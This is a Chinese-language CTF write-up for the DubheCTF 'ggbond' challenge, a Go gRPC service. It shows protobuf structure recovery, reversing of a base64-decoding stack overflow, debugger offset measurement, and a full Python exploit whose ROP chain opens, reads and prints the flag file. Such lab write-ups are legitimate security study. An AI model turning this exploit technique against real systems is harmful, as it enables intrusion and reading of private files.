DubheCTF-ggbond

golang pwn

ggbond

打开,golang protobuf grpc服务,但是程序保护开的少,加上go静态编译,保证gadget是够用的,并且符号表比较完整

学习一下protobuf: 深入解析protobuf

每个消息必有类型和字段编号,也存在可选的字段

  • optional: message 可以包含该字段零次或一次(不超过一次)。
  • repeated: 该字段可以在消息中重复任意多次(包括零)。其中重复值的顺序会被保留。在开发语言中就是数组和列表

每个字段有唯一编号,在二进制流中标识字段

  • 1 到 15 范围内的字段编号需要一个字节进行编码,编码结果将同时包含编号和类型
  • 16 到 2047 范围内的字段编号占用两个字节。因此,非常频繁出现的 message 元素保留字段编号 1 到 15。
  • 字段最小数字为1,最大字段数为2^29 - 1。
  • 19000 ~ 19999 保留

grpcurl的结果:server-reflection-tutorial

1
2
3
$ go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
$ grpcurl -plaintext 127.0.0.1:1337 list
Failed to list services: server does not support the reflection API

和官方案例有点像,因此编译官方案例: Quick start | Go | gRPC

下载源码 go build 然后IDA对比一下

阅读protobuf Go代码:可以找到一点 proto message 和 golang struct 的关系,开始处有三个字段,并且名称修改为大驼峰

1
2
3
4
5
6
7
type OrderRequest struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields

// proto message
}

因此ggbond存在5种request,以及其对应的response。

通过官方helloworld寻找service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
syntax = "proto3";

option go_package = "google.golang.org/grpc/examples/helloworld/helloworld";
package helloworld;

service Greeter {
// Sends a greeting
rpc SayHello (HelloRequest) returns (HelloReply) {}
}

// main.(*server).SayHello
retval_840CC0 __golang main__ptr_server_SayHello

// google.golang.org/grpc/examples/helloworld/helloworld._Greeter_SayHello_Handler
RTYPE *__golang google_golang_org_grpc_examples_helloworld_helloworld__Greeter_SayHello_Handler

同理

1
2
3
4
5
6
7
8
9
10
11
12
// main/ggbond._GGBondServer_Handler_Handler
RTYPE *__golang main_ggbond__GGBondServer_Handler_Handle

// main.(*server).Handler
retval_848680 __golang main__ptr_server_Handle

option go_package = "ggbond";
package ggbond;

service GGBondServer {
rpc Handler(Request) returns (Response) {}
}

使用Docker搭建环境,尝试一下交互

首先生成py文件

1
$ python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ggbond.proto

通信报错

1
2
3
grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
status = StatusCode.UNIMPLEMENTED
details = "unknown service ggbond.GGBondServer"

找到正确的service名称

1
p_grpc_UnaryServerInfo->FullMethod.ptr = "/GGBond.GGBondServer/Handler";

所以最终,大体是如下的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
syntax = "proto3";

option go_package = "GGBond";
package GGBond;

service GGBondServer {
rpc Handler(Request) returns (Response) {}
}

message IsRequest {
uint64 tab = 1;
uint64 data = 2;
}

message IsResponse {
uint64 tab = 1;
uint64 data = 2;
}

message Request {
IsRequest request = 1;
}

message Response {
uint64 tab = 1;
uint64 data = 2;
}

message WhoamiRequest {
}

message WhoamiResponse {
string message = 1;
}

message RoleChangeRequest {
uint32 role = 1;
}

message RoleChangeResponse {
string message = 1;
}

message RepeaterRequest {
string message = 1;
}

message RepeaterResponse {
string message = 1;
}

message ErrorResponse {
string message = 1;
}

然后通信发现回显不对,一直卡住了。问题在于如何一个Request显示4种message?


赛后看WP,只能说做题时重点错了,应该直接找相关工具的

可以用pbtk还原protobuf结构:逆向恢复 Protobuf 对象结构

1
$ python pbtk/extractors/from_binary.py  ./pwn ./ggbond.proto 

获得proto文件,可以看出使用 oneof 处理请求,并且编号不对😫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
rpc Handler(Request) returns (Response);
}

message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}

message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}

message WhoamiRequest {
}

message WhoamiResponse {
string message = 2000;
}

message RoleChangeRequest {
uint32 role = 1001;
}

message RoleChangeResponse {
string message = 2001;
}

message RepeaterRequest {
string message = 1002;
}

message RepeaterResponse {
string message = 2002;
}

message ErrorResponse {
string message = 4444;
}

根据字符串应该是在.noptrdata:0000000000C22E62 这一段区域,结合protobuf结构反序列化一下

因此就可以进行愉快的尝试PWN了

首先测试三个功能

  • Whoami: 用户
  • RoleChange: 改变用户,用户change不能超过3,否则切换失败
  • Repeater: 用户后添加我们发送的内容

因此也是很简单的功能,先尝试手测,然后就崩溃了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import grpc

import ggbond_pb2
import ggbond_pb2_grpc

from pwn import *

channel = grpc.insecure_channel('127.0.0.1:1337')
stub = ggbond_pb2_grpc.GGBondServerStub(channel)


def whoami_request():
msg = ggbond_pb2.WhoamiRequest()
req = ggbond_pb2.Request(whoami=msg)
resp = stub.Handler(req)
print("Greeter client received: " + resp.whoami.message)


def role_change_request(role: int):
msg = ggbond_pb2.RoleChangeRequest()
msg.role = role
req = ggbond_pb2.Request(role_change=msg)
resp = stub.Handler(req)
print("Greeter client received: " + resp.role_change.message)


def repeater_request(m):
msg = ggbond_pb2.RepeaterRequest()
msg.message = m
req = ggbond_pb2.Request(repeater=msg)
resp = stub.Handler(req)
print("Greeter client received: " + resp.repeater.message)

role_change_request(1)
whoami_request()
repeater_request(cyclic(100))

role_change_request(2)
whoami_request()
repeater_request(cyclic(100))

role_change_request(3)
whoami_request()
repeater_request(cyclic(100))

channel.close()

第三次请求时保存,连接断开,因此从第三次尝试

repeater_request(cyclic(0x28)) 不崩溃,在0x30崩溃

逆向一下repeater,结合测试的结果,还是能大致猜出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ( tab == off_9799C0 )   // request.tab = RepeaterRequest
{
v99 = a3;
if ( qword_C94B80 == 3 ) // role=3 特殊处理
{
// ...

// 将传入的数据 base64 解码
v100 = *(string *)(*(_QWORD *)v99->Request.data + 40LL);
len = v100.len;
v102 = encoding_base64__ptr_Encoding_DecodeString(qword_C62CA0, v100);
ptr = v102.0.ptr;
v92 = v102.0.len;
cap = v102.0.cap;
v76[0] = v8; // 这是一个栈上的数据
v76[1] = v8;
v94 = v76;
v95 = 32LL;
v96 = 32LL;
v50 = v76;
v51 = v102.0.ptr;

// go Unsafe 做指针加法
// 将解码后的数据传递给v50
for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
{
*(_BYTE *)v50 = *v51;
v50 = (__int128 *)((char *)v50 + 1);
++v51;
}

然后就是下断点,调试,获得si到bp的距离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 RDI  0xc00002832c ◂— 0x333231 /* '123' */
RSI 0xc0001bb628 ◂— 0x0
RSP 0xc0001bb5e0 —▸ 0xc0001aa000 ◂— 0x4847464544434241 ('ABCDEFGH')
*RIP 0x7ee024 ◂— movzx r10d, byte ptr [rdi]
0x7ee01e mov r8, rsi
0x7ee021 mov r9, rdi
► 0x7ee024 movzx r10d, byte ptr [rdi]
0x7ee028 mov byte ptr [rsi], r10b
0x7ee02b inc rax
0x7ee02e lea rsi, [r8 + 1]
0x7ee032 lea rdi, [r9 + 1]
0x7ee036 cmp rax, rdx
0x7ee039 jl 0x7ee01e <0x7ee01e>

0x7ee01e mov r8, rsi
0x7ee021 mov r9, rdi
pwndbg> p/x 0xc0001bb6e8-0xc0001bb628
$2 = 0xc0

然后就是写ROP了: ORW将flag打出来,使用syscall.

查看别人的WP,打远程

  • 先 nc 目标端口,用来接收orw的结果
  • 再建立一个rpc连接,用来打

打本地:这个文件fd得调试出来.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import grpc

import ggbond_pb2
import ggbond_pb2_grpc

from pwn import *

channel = grpc.insecure_channel('127.0.0.1:23334')
stub = ggbond_pb2_grpc.GGBondServerStub(channel)


def whoami_request():
msg = ggbond_pb2.WhoamiRequest()
req = ggbond_pb2.Request(whoami=msg)
resp = stub.Handler(req)
print("Greeter client received: " + resp.whoami.message)


def role_change_request(role: int):
msg = ggbond_pb2.RoleChangeRequest()
msg.role = role
req = ggbond_pb2.Request(role_change=msg)
resp = stub.Handler(req)
print("Greeter client received: " + resp.role_change.message)


def repeater_request(m):
msg = ggbond_pb2.RepeaterRequest()
msg.message = m
req = ggbond_pb2.Request(repeater=msg)
resp = stub.Handler(req)
print("Greeter client received: " + resp.repeater.message)


# role_change_request(1)
# whoami_request()
# repeater_request(cyclic(100))
#
# role_change_request(2)
# whoami_request()
# repeater_request(cyclic(100))

syscall = 0x000000000040452c
pop_rdi_ret = 0x0000000000401537
pop_rsi_ret = 0x0000000000422398
pop_rax_ret = 0x00000000004101e6
pop_rdx_ret = 0x0000000000461bd1
flag = 0x00000000007ef68d
bss_buf = 0xC6CF60
payload = b"a" * 0xc0 + p64(0xdeadbeef)
context.arch="amd64"
# open("flag", 0) -> syscall(2, 'flag', 0)
payload += flat([
pop_rax_ret, 2,
pop_rdi_ret, flag,
pop_rsi_ret, 0,
pop_rdx_ret, 0,
syscall,
])

# read(fd, buf, len)
payload += flat([
pop_rax_ret, 0,
pop_rdi_ret, 10,
pop_rsi_ret, bss_buf,
pop_rdx_ret, 0x100,
syscall,
])

# write(fd, buf, len)
payload += flat([
pop_rax_ret, 1,
pop_rdi_ret, 1,
pop_rsi_ret, bss_buf,
pop_rdx_ret, 0x100,
syscall,
])

# exit 1
payload += flat([
pop_rax_ret, 60,
pop_rdi_ret, 1,
syscall,
])

sleep(2)
whoami_request()
role_change_request(3)
repeater_request(base64.b64encode(payload))
channel.close()

参考